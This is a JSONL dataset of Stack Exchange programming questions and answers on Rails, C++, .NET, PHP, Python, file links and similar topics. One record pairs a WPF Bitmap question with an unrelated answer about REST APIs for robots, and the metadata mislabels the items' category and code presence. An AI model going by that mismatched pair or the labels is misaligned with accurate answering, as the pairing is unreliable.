"source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:10.080982"}
{"id": "hf_5f7fbd73d476", "question": "<p>This is an age-old question where given a table with attributes 'type', 'variety' and 'price', that you fetch the record with the minimum price for each type there is.</p>\n\n<p>In SQL, we can do <a href=\"http://www.xaprb.com/blog/2006/12/07/how-to-select-the-firstleastmax-row-per-group-in-sql/\" rel=\"noreferrer\">this</a> by:</p>\n\n<pre><code>select f.type, f.variety, f.price   \nfrom (  select type, min(price) as minprice from table group by type ) as x  \ninner join table as f on f.type = x.type and f.price = x.minprice;`\n</code></pre>\n\n<p>We could perhaps imitate this by:</p>\n\n<pre><code>minprices = Table.minimum(:price, :group =&gt; type)  \nresult = []\nminprices.each_pair do |t, p|  \n   result &lt;&lt; Table.find(:first, :conditions =&gt; [\"type = ? and price = ?\", t, p])\nend\n</code></pre>\n\n<p>Is there a better implementation than this?</p>\n", "question_body": "", "answer": "```\n```\nTable.minimum(:price, :group => :type)\n```\n```\nSee\nhttp://api.rubyonrails.org/classes/ActiveRecord/Calculations.html#method-i-minimum\nfor more.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:10.105815"}
{"id": "hf_513a3195b4be", "question": "<p>I couldn't really find this in Rails documentation but it seems like <strong>'mattr_accessor'</strong> is the <strong>Module</strong> corollary for <strong>'attr_accessor'</strong> (getter &amp; setter) in a normal Ruby <strong>class</strong>.</p>\n\n<p>Eg. in a class</p>\n\n<pre><code>class User\n  attr_accessor :name\n\n  def set_fullname\n    @name = \"#{self.first_name} #{self.last_name}\"\n  end\nend\n</code></pre>\n\n<p>Eg. in a module</p>\n\n<pre><code>module Authentication\n  mattr_accessor :current_user\n\n  def login\n    @current_user = session[:user_id] || nil\n  end\nend\n</code></pre>\n\n<p>This helper method is provided by <strong>ActiveSupport</strong>.</p>\n", "question_body": "", "answer": "Rails extends Ruby with both\n```\nmattr_accessor\n```\n(Module accessor) and\n```\ncattr_accessor\n```\n(as well as _\n```\nreader\n```\n/\n```\n_writer\n```\nversions).  As Ruby's\n```\nattr_accessor\n```\ngenerates getter/setter methods for\ninstances\n,\n```\ncattr/mattr_accessor\n```\nprovide getter/setter methods at the\nclass\nor\nmodule\nlevel.  Thus:\n```\n```\nmodule Config\n  mattr_accessor :hostname\n  mattr_accessor :admin_email\nend\n```\n```\nis short for:\n```\n```\nmodule Config\n  def self.hostname\n    @hostname\n  end\n  def self.hostname=(hostname)\n    @hostname = hostname\n  end\n  def self.admin_email\n    @admin_email\n  end\n  def self.admin_email=(admin_email)\n    @admin_email = admin_email\n  end\nend\n```\n```\nBoth versions allow you to access the module-level variables like so:\n```\n```\n>> Config.hostname = \"example.com\"\n>> Config.admin_email = \"admin@example.com\"\n>> Config.hostname # => \"example.com\"\n>> Config.admin_email # => \"admin@example.com\"\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:10.130624"}
{"id": "hf_efd9a78bb930", "question": "<p>I wonder if this would be doable ? To insert an array into one field in the database.</p>\n\n<p>For instance I have a title, I want to have that title with only one id, but it's going to be bilingually used on the website.</p>\n\n<p>It feels a bit unnecessary to make another table to have their global ids and then another table with the actual titles linked to the table with the global id.</p>\n\n<p>I just want to have something like this</p>\n\n<pre><code>ID      TITLE\n1       Array(\"english title\", \"nederlandse titel\");\n</code></pre>\n\n<p>I'm using PHP/MSYQL, so if it would be doable could you please explain in these languages.</p>\n\n<p>Oh yeah I figured that I could format it funky and use the split function to turn it into an array again. But I wonder if I could just store it as an array right away, I case the user might type something with the same formatting (one out of a million)</p>\n", "question_body": "", "answer": "There's really only two reasonable choices here:\nJoin with another table\npros: unlimited titles in unlimited languages\ncons: join overhead is more computationally expensive, SQL is marginally more complex to update/insert etc\nMultiple columns\neg: TITLE_EN, TITLE_NL, TITLE_DE\npros: fast to insert, select, etc\ncons: limited number of languages, adding more is an ALTER TABLE\nGiven our two choices, you usually should should pick the first one.  Unless you're dealing with just an obscene amount of transactions that cannot be parallelized, or you absosmurfly can ensure that you will never add languages, the extra flexibility in schema layout will save you headaches in the long run.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:10.217751"}
{"id": "hf_a9ab350f70ac", "question": "<p>I am having a doubt in page_init, page preinit, load.\nI need to know when we use this also where we need to call our objects in different stages of our life cycle.</p>\n\n<p>Please let me know how they will process for each events raised</p>\n", "question_body": "", "answer": "Its called the Page lifecycle because at different stages of the page request, different objects are populated with different information.\nHere are some good links to read up on:\nhttp://msdn.microsoft.com/en-us/library/ms178472.aspx\nhttp://www.15seconds.com/issue/020102.htm", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:10.243112"}
{"id": "hf_168b7564fd9c", "question": "<p>Has anybody been successful in integrating the Enterprise Library v4.0 with SharePoint WSS 3.0?  I created a very simple .ASPX page.  It's only purpose will to be to connect to an Oracle database and display some values in a DropDownList.  But right now, all it does is displays Hello World.  I've added the necessary references and everything compiles fine.  When I test the page, it displays Hello World.  But once I add the using Microsoft.Practices.EnterprisesLibrary.Data, the page no longer works. I just get the standard Unknown Error message.  Is there a log file I can check? </p>\n\n<p>I'm looking for any steps or tips that I can use to get this up and running.  I use this Enterprise Library in all my ASP.NET applications and it works great.  Trying to get this to work in SharePoint seems like a natural fit.  But why does it seem so difficult?  And why does there seem to be a lack of information?</p>\n\n<p>Anyways, thank you so much for any information anybody can provide.</p>\n", "question_body": "", "answer": "Are you able to debug and see where the failure is occurring in your code?  Is it occurring on an Enterprise Library related call?  If so I would capture the exception that is being thrown and evaluate the message that it provides using; try {} catch (Exception ex) {}.\nOne thing I have seen with Enterprise Library that if it is not properly configured it will sometimes log messages to the Event Log on the server.\nI'm sorry I can't get much more information without more technical details about your implementation.  I can assure you though that Enterprise Library works very well with SharePoint and that for the past few years I have used Enterprise Library in all of my SharePoint solution work.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:10.267813"}
{"id": "hf_5f010e105ffb", "question": "<p>I have a UIImageView and the objective is to scale it down proportionally by giving it either a height or width. </p>\n\n<pre><code>UIImage *image = [[UIImage alloc] initWithData:[NSData dataWithContentsOfURL:[NSURL URLWithString:@\"http://farm4.static.flickr.com/3092/2915896504_a88b69c9de.jpg\"]]];\nUIImageView *imageView = [[UIImageView alloc] initWithImage:image]; \n\n//Add image view\n[self.view addSubview:imageView];   \n\n//set contentMode to scale aspect to fit\nimageView.contentMode = UIViewContentModeScaleAspectFit;\n\n//change width of frame\nCGRect frame = imageView.frame;\nframe.size.width = 100;\nimageView.frame = frame;\n</code></pre>\n\n<p>The image did get resized but the position is not at the top left. What is the best approach to scaling image/imageView and how do I correct the position?</p>\n", "question_body": "", "answer": "I think you can do something like\n```\n```\nimage.center = [[imageView window] center];\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:10.329268"}
{"id": "hf_469bca8d744f", "question": "<p>I'd like to know if Flash/AS3 has any nice way to convert an AS3 'Date' object to/from rfc-850 timestamp format (as used by HTTP date and last-modified).</p>\n\n<p>This question is very similar to <a href=\"https://stackoverflow.com/questions/17017/how-do-i-parse-and-convert-datetimes-to-the-rfc-3339-date-time-format\">this question about rfc 3339</a>, except it's specific to AS3 and rfc-850.</p>\n\n<p>RFC-850 is like: <code>Thu, 09 Oct 2008 01:09:43 GMT</code></p>\n", "question_body": "", "answer": "The\nas3corelib\nlibraries have DateUtil.toRFC822() and DateUtil.parseRFC822() methods (among others). Don't know if these are exactly what you are looking for.\nThe specific docs for the DateUtil class is here:\nhttp://as3corelib.googlecode.com/svn/trunk/docs/com/adobe/utils/DateUtil.html", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:10.353262"}
{"id": "hf_ce0a04e00b17", "question": "<p>I'm trying to create a user control that allows users to make something like the following:</p>\n\n<pre><code>  &lt;uc1:MyControl id=\"controlThing\" runat=\"server\"&gt;\n\n    &lt;uc1:BoundColumn id=\"column1\" Column=\"Name\" runat=\"server\" /&gt;\n    &lt;uc1:CheckBoxBoundColumn id=\"column2\" Column=\"Selector\" runat=\"server\" /&gt;\n    &lt;uc1:BoundColumn id=\"column3\" Column=\"Description\" runat=\"server\" /&gt;\n\n     ...etc \n\n  &lt;/uc1:MyControl&gt;\n</code></pre>\n\n<p>There are only certain controls I would allow, in addition to the fact that you can have many of any type. I can picture this in XSD, but I'm not entirely sure for ASP.NET.</p>\n\n<p>My ASP.NET voodoo is drawing a blank right now.. any thoughts?</p>\n", "question_body": "", "answer": "Is it possible for you to override an existing control such as a ListView or GridView? That's your simplest option.\nBut to create your own custom templated control you need to use ITemplate.\nI haven't done one but a quick google returned this:\nhttp://www.developerfusion.com/article/4410/in-depth-aspnet-using-adonet/2/\nit looked good.\nI have a book \"Developing Microsoft ASP.NET Server Controls and Components\" which covers it but I haven't read through it indepth yet (\nhttp://www.amazon.com/exec/obidos/ASIN/0735615829/nikhilkothari-20\n)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:10.381509"}
{"id": "hf_4bcdaed0a393", "question": "<p>How to parse the DOM and determine what row is selected in an ASP.NET <code>ListView</code>? I'm able to interact with the DOM via the <code>HtmlElement</code> in Silverlight, but I have not been able to locate a property indicating the row is selected.</p>\n<p>For reference, this managed method works fine for an ASP.NET ListBox</p>\n<pre><code>var elm = HtmlPage.Document.GetElementById(ListBoxId);\n\nforeach (var childElm in elm.Children)\n{\n    if (!((bool)childElm.GetProperty(&quot;Selected&quot;)))\n    {\n       continue;\n    }\n}\n</code></pre>\n", "question_body": "", "answer": "I don't have my dev environment up to test this, but could you call GetProperty('selectedIndex') on the ListBoxID element? Then from that you figure out which child is selected and return that child using the elm.Children.\nEdit:\nGot my dev environment up this morning and did some testing. Here is a code snippet that worked for me:\n```\n```\nHtmlElement elem = HtmlPage.Document.GetElementById(\"testSelect\");\nint index = Convert.ToInt32(elem.GetProperty(\"selectedIndex\"));\nvar options = (from c in elem.Children\n              let he = c as HtmlElement\n              where he.TagName == \"option\"\n              select he).ToList();\n\noutput.Text = (string)options[index].GetProperty(\"innerText\");\n```\n```\nOf course, you'll have to change \"textSelect\" to the name of your html select element. The linq query is needed since the Children property is made up of ScriptableObjects and only about half of them are the option elements which is what you care about.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:10.434852"}
{"id": "hf_0a0e3d08e7ab", "question": "<p>I'm using the <a href=\"http://www.componentace.com/zlib_.NET.htm\" rel=\"noreferrer\">zlib.NET</a> library to try and inflate files that are compressed by zlib (on a Linux box, perhaps).  Here's what I'm doing:</p>\n\n<pre><code>zlib.ZInputStream zinput =\n    new zlib.ZInputStream(File.Open(path, FileMode.Open, FileAccess.Read));\n\nwhile (stopByte != (data = zinput.ReadByte()))\n{\n  // check data here\n}\n\nzinput.Close();\n</code></pre>\n\n<p>The data bytes match the compressed data bytes, so I must be doing something wrong.</p>\n", "question_body": "", "answer": "Other than failing to use a \"using\" statement to close the stream even in the face of an exception, that looks okay to me. Is the data definitely compressed? Are you able to decompress it with zlib on the linux box?\nHaving looked at the source code, it's pretty ghastly - a call to\n```\nint Read(buffer, offset, length)\n```\nwill end up calling its internal\n```\nint Read()\n```\nmethod\n```\nlength\n```\ntimes for example. Given that sort of shaky start, I'm not sure I'd trust the code particularly heavily, but I'd have expected it to work at least\nslightly\n! Have you tried using\nSharpZipLib\n?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:10.460660"}
{"id": "hf_63cd3d48547b", "question": "<p>I have a directory with several subdirectories with files.<br>\nHow can I copy all files in the subdirectories to a new location?<br></p>\n\n<p><strong>Edit:</strong> I do not want to copy the directories, just the files...</p>\n\n<p>As this is still on XP, I chose the below solution:</p>\n\n<pre><code> for /D %S IN (\"src\\*.*\") DO  @COPY \"%S\\\" \"dest\\\"\n</code></pre>\n\n<p>Thanks!</p>\n", "question_body": "", "answer": "The Xcopy command should help here.\n```\n```\nXCOPY /E SrcDir\\*.* DestDir\\\n```\n```\nOr if you don't want any of the files in SrcDir, just the sub directories, you can use XCOPY in conjunction with the FOR command:\n```\n```\nFOR /D %s IN (SrcDir\\*) DO @XCOPY /E %s DestDir\\%~ns\\\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:10.510807"}
{"id": "hf_a1a3003796b9", "question": "<p>Is there a Winform caching library out there? I need to pass a few datasets aroung in a Winform Application, and probably persist to storage upon close.</p>\n\n<p>I've seen some samples around via Google, using System.Web.</p>\n\n<p>What's the recommendation and where can I get some details. I am using VS 2008 for 2.0. 3.0 Framework.</p>\n\n<p>Thanks</p>\n", "question_body": "", "answer": "Starting with .NET 2.0 you can use the System.Web.Caching.Cache class with non-ASP.NET apps. The Microsoft recommended approach these days though is to use the Enterprise Library Caching Application Block.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:10.535669"}
{"id": "hf_d7b8b9f3ff19", "question": "<p>We can use Bitmapsource object as the content of a Image control, However if I only have Bitmap object, can I use it directly, if I convert Bitmap to Bitmapsouce using the following method:</p>\n\n<pre><code>        Bitmap bitmap = imageObjToBeConvert;\n        IntPtr HBitmap = bitmap.GetHbitmap();\n        result = Imaging.CreateBitmapSourceFromHBitmap\n            (HBitmap,\n            IntPtr.Zero,\n            Int32Rect.Empty,\n            BitmapSizeOptions.FromEmptyOptions());\n        DeleteObject(HBitmap);\n        bitmap.Dispose();\n</code></pre>\n\n<p>It take some time. Is there any way to use Bitmap directly?</p>\n\n<p>And I found BitmapSource seems can't be released directly, Is there a sample method to release the memory immediately, after the Bitmapsouce is not used again.</p>\n", "question_body": "", "answer": "I think REST would make more sense than traditional RPC. Even the\nMicorosft Robotics Studio runtime application model\nuses REST.\nThe robot can consist of different resources that are identified by URI, including one for each sensor and actuator or composite abstractions thereof.\nREST puts emphasis on guaranteeing what the side effects of certain methods are and also it facilitates caching, both of which can be useful for something like controlling and monitoring a distant robot. And just because you can use REST it\ndoesn't\nhave to be the HTTP protocol.\nA SAFE and IDEMPOTENT method like GET, though, is good for tracking the state of the robot and polling its sensor data. You can use something like the Last-Modified header to retrieve cached sensor data that doesn't change often (e.g., humidity or light levels).\nFor long distances you can use relay proxies for caching.\nFor commands that move the robot, something like POST would be used where every such message will change the robot (e.g., turn right ). A status code can be returned indicating whether the command was immediately executed or queued for processing.\nThe absolute state of any resources can be set using something like PUT where multiple messages will not change things any more than just a single message (e.g., point to north pole or dim front lights to 10% brightness). This allows for reliable messaging in case of probablity of messages getting lost en route.\nA new resource may be created via a POST-like operation as well, e.g., a data-collection routine and a set of parameters. The POST request can send back a CREATED result with a URI for the new resource, which can be used to DELETE when no longer needed.\nA group of robots may also speak to each other using the same REST based protocol and can enjoy the same benefits.\nGranted, for something simple like one person controlling a single isolated local robot, a REST API may be overkill. But for multi-user and/or unreliable-communications-channels and/or Web-scale-networking, REST is something to consider.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:10.571810"}
{"id": "hf_78397968fb90", "question": "<p>I am trying to convert an <code>int</code> into three <code>bytes</code> representing that <code>int</code> (big endian).</p>\n\n<p>I'm sure it has something to do with bit-wise and and bit shifting.  But I have no idea how to go about doing it.</p>\n\n<p>For example:</p>\n\n<pre><code>int myInt;\n\n// some code\n\nbyte b1, b2 , b3; // b1 is most significant, then b2 then b3.\n</code></pre>\n\n<p>*Note, I am aware that an int is 4 bytes and the three bytes have a chance of over/underflowing.</p>\n", "question_body": "", "answer": "An int doesn't fit into 3 bytes.  However, assuming that you know these particular ones do:\n```\n```\nbyte b1 = (myInt & 0xff);\n   myInt >>= 8;\n   byte b2 = (myInt & 0xff);\n   myInt >>= 8;\n   byte b3 = (myInt & 0xff);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:10.597172"}
{"id": "hf_c433320f0ef7", "question": "<p>It seems redundant to have zlib compress a web page during every request. It is also the bottleneck of my files' response times. Is there a way to cache the zlib'd file so that it is compressed only once at each modification? Or should I just keep wishing?</p>\n", "question_body": "", "answer": "Hm, I think mod_cache will do the job.\nhttp://httpd.apache.org/docs/2.0/mod/mod_cache.html", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:10.658761"}
{"id": "hf_309ac4956831", "question": "<p>What is the best way to initialize a private, static data member in C++?  I tried this in my header file, but it gives me weird linker errors:</p>\n\n<pre><code>class foo\n{\n    private:\n        static int i;\n};\n\nint foo::i = 0;\n</code></pre>\n\n<p>I'm guessing this is because I can't initialize a private member from outside the class.  So what's the best way to do this?</p>\n", "question_body": "", "answer": "The class declaration should be in the header file (Or in the source file if not shared).\nFile: foo.h\n```\n```\nclass foo\n{\n    private:\n        static int i;\n};\n```\n```\nBut the initialization should be in source file.\nFile: foo.cpp\n```\n```\nint foo::i = 0;\n```\n```\nIf the initialization is in the header file then each file that includes the header file will have a definition of the static member. Thus during the link phase you will get linker errors as the code to initialize the variable will be defined in multiple source files.\nThe initialisation of the\n```\nstatic int i\n```\nmust be done outside of any function.\nNote:\nMatt Curtis: points out that C++ allows the simplification of the above if the static member variable is of\nconst integer type\n(\n```\nbool\n```\n,\n```\nchar\n```\n,\n```\nchar8_t\n```\n[since C++20],\n```\nchar16_t\n```\n,\n```\nchar32_t\n```\n,\n```\nwchar_t\n```\n,\n```\nshort\n```\n,\n```\nint\n```\n,\n```\nlong\n```\n,\n```\nlong long\n```\n, or any implementation-defined extended integer types, including any signed, unsigned, and cv-qualified variants.\n). You can then declare and initialize the member variable directly inside the class declaration in the header file:\n```\n```\nclass foo\n{\n    private:\n        static int const i = 42;\n};\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:10.734365"}
{"id": "hf_34d6d636ed07", "question": "<p>Using the Qt Visual studio integration, adding a new Qt class adds two separate moc.exe generated files - one for debug and one for release (and one for any other configuration currently existing). Yet the two eventual generated files seem to be identical.</p>\n\n<p>On the other hand when adding a UI class, the uic.exe generated files don't have this separation and are the same file for all configurations.</p>\n\n<p>Does anybody have an idea why there's a need for a separate moc file for every configuration? When is there a difference between the two?</p>\n", "question_body": "", "answer": "My guess would be that separate debug and release versions are needed because the moc output is generated from user-defined source code. So the moc output might be different between debug and release builds if the preprocessed class source differs between debug and release (for example, a signal that exists only in the debug build).\nThis doesn't apply to the uic-generated files because those are generated from the .ui XML, which can't vary between debug and release configurations.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:10.774945"}
{"id": "hf_eaa23ae12976", "question": "<p>I have a production server running with the following flag: -<strong>XX:+HeapDumpOnOutOfMemoryError</strong></p>\n\n<p>Last night it generated a java-38942.hprof file when our server encountered a heap error. It turns out that the developers of the system knew of the flag but no way to get any useful information from it.</p>\n\n<p>Any ideas?</p>\n", "question_body": "", "answer": "You can use\nJHAT\n, The Java Heap Analysis Tool provided by default with the JDK.  It's command line but starts a web server/browser you use to examine the memory.  Not the most user friendly, but at least it's already installed most places you'll go.  A very useful view is the \"heap histogram\" link at the very bottom.\nex:\n```\njhat -port 7401 -J-Xmx4G dump.hprof\n```\n```\njhat\n```\ncan execute OQL \"these days\" as well (bottom link \"execute OQL\")", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:10.798981"}
{"id": "hf_32542ddc4c54", "question": "<p>Recently I was asked this during a job interview. I was honest and said I knew how a symbolic link behaves and how to create one, but do not understand the use of a hard link and how it differs from a symbolic one.</p>\n", "question_body": "", "answer": "Underneath the file system, files are represented by inodes. (Or is it multiple inodes?  Not sure.)\nA file in the file system is basically a link to an inode.\nA hard link, then, just creates another file with a link to the same underlying inode.\nWhen you delete a file, it removes one link to the underlying inode. The inode is only deleted (or deletable/over-writable) when all links to the inode have been deleted.\nA symbolic link is a link to another name in the file system.\nOnce a hard link has been made the link is to the inode. Deleting, renaming, or moving the original file will not affect the hard link as it links to the underlying inode. Any changes to the data on the inode is reflected in all files that refer to that inode.\nNote: Hard links are only valid within the same File System. Symbolic links can span file systems as they are simply the name of another file.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:10.846193"}
{"id": "hf_3d9f5a2dc503", "question": "<p>It appears that in PHP objects are passed by reference. Even assignment operators do not appear to be creating a copy of the Object.</p>\n\n<p>Here's a simple, contrived proof:</p>\n\n<pre><code>&lt;?php\n\nclass A {\n    public $b;\n}\n\n\nfunction set_b($obj) { $obj-&gt;b = \"after\"; }\n\n$a = new A();\n$a-&gt;b = \"before\";\n$c = $a; //i would especially expect this to create a copy.\n\nset_b($a);\n\nprint $a-&gt;b; //i would expect this to show 'before'\nprint $c-&gt;b; //i would ESPECIALLY expect this to show 'before'\n\n?&gt;\n</code></pre>\n\n<p>In both print cases I am getting 'after'</p>\n\n<p>So, how do I pass <strong>$a</strong> to <strong><em>set_b()</em></strong> by value, not by reference?</p>\n", "question_body": "", "answer": "According to the docs (\nhttp://ca3.php.net/language.oop5.cloning\n):\n```\n```\n$a = clone $b;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:10.881933"}
{"id": "hf_51456231db35", "question": "<p>How can I delete the contents of a local folder in Python?</p>\n\n<p>The current project is for Windows, but I would like to see *nix also.</p>\n", "question_body": "", "answer": "```\n```\nimport os, shutil\nfolder = '/path/to/folder'\nfor filename in os.listdir(folder):\n    file_path = os.path.join(folder, filename)\n    try:\n        if os.path.isfile(file_path) or os.path.islink(file_path):\n            os.unlink(file_path)\n        elif os.path.isdir(file_path):\n            shutil.rmtree(file_path)\n    except Exception as e:\n        print('Failed to delete %s. Reason: %s' % (file_path, e))\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:10.906565"}
{"id": "hf_1439df8e431e", "question": "<p>I know this can be done in IE by creating an ActiveX object, but how do I do it in FF. The navigator.plugins['Adobe Acrobat'] object lets me know if it's installed or not, but it doesn't contain the version number. Any ideas?</p>\n", "question_body": "", "answer": "```\nnavigator.plugins[n].name\n```\nwhere\n```\nn\n```\nis the index of the Acrobat plugin is supposed have the version number in it. Unfortunately, starting with Adobe Reader 8, they changed the name to\n```\n\"Adobe PDF Plug-In for Firefox and Netscape\"\n```\n, with no version information. So, if this is the name you've detected at least Reader 8, but can't tell versions 8 from 9.\nAlso, make sure you take into account that Macs don't need Acrobat Reader to render PDF files. (I booted my Windows partition just to test this.)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:10.954991"}
{"id": "hf_20ed61efe86f", "question": "<p>What is the best way to create a custom title for pages in a Rails app without using a plug-in?</p>\n", "question_body": "", "answer": "Look into\n```\ncontent_for\n```\n:\nhttp://railscasts.com/episodes/8", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:11.001614"}
{"id": "hf_de9385336fcc", "question": "<p>In javascript, we can do:</p>\n\n<pre><code>[\"a string\", 10, {x : 1}, function() {}].push(\"another value\");\n</code></pre>\n\n<p>What is the Scala equivalent?</p>\n", "question_body": "", "answer": "Arrays in Scala are very much homogeneous.  This is because Scala is a statically typed language.  If you really need pseudo-heterogeneous features, you need to use an immutable data structure that is parametrized covariantly (most immutable data structures are).\n```\nList\n```\nis the canonical example there, but\n```\nVector\n```\nis also an option.  Then you can do something like this:\n```\n```\nVector(\"a string\", 10, Map(\"x\" -> 1), ()=>()) + \"another value\"\n```\n```\nThe result will be of type\n```\nVector[Any]\n```\n.  Not very useful in terms of static typing, but everything will be in there as promised.\nIncidentally, the \"literal syntax\" for\narrays\nin Scala is as follows:\n```\n```\nArray(1, 2, 3, 4)     // => Array[Int] containing [1, 2, 3, 4]\n```\n```\nSee also\n:\nMore info on persistent vectors", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:11.047539"}
{"id": "hf_d344db62a103", "question": "<p>My friend accidentally bought a laptop with Windows Vista Home Basic Edition. He figured out how to install IIS on it, but it doesn't seem to have either the management console or the admin tools. Is there any way for him to configure a site or import an IIS 6 config file?</p>\n\n<p>EDIT: \"Windows Vista Home Edition\" --> \"Windows Vista Home Basic Edition\".</p>\n", "question_body": "", "answer": "Okay, not being on Vista I don't know for sure, but on XP the application which controls IIS is\n```\n%SystemRoot%\\system32\\inetsrv\\iis.msc\n```\n. Perhaps hunting around for\n```\niis.msc\n```\nwould be a first step.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:11.071795"}
{"id": "hf_f3e75b7188b7", "question": "<p>I use log4net in just about every code project. I was wondering what other generally useful code projects are available?</p>\n", "question_body": "", "answer": "I like the C5 collection classes, from the IT University of Copenhagen:\nhttp://www.itu.dk/research/c5/\nIt's one of the most well-designed libraries, of any kind, I've ever used.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:11.094197"}
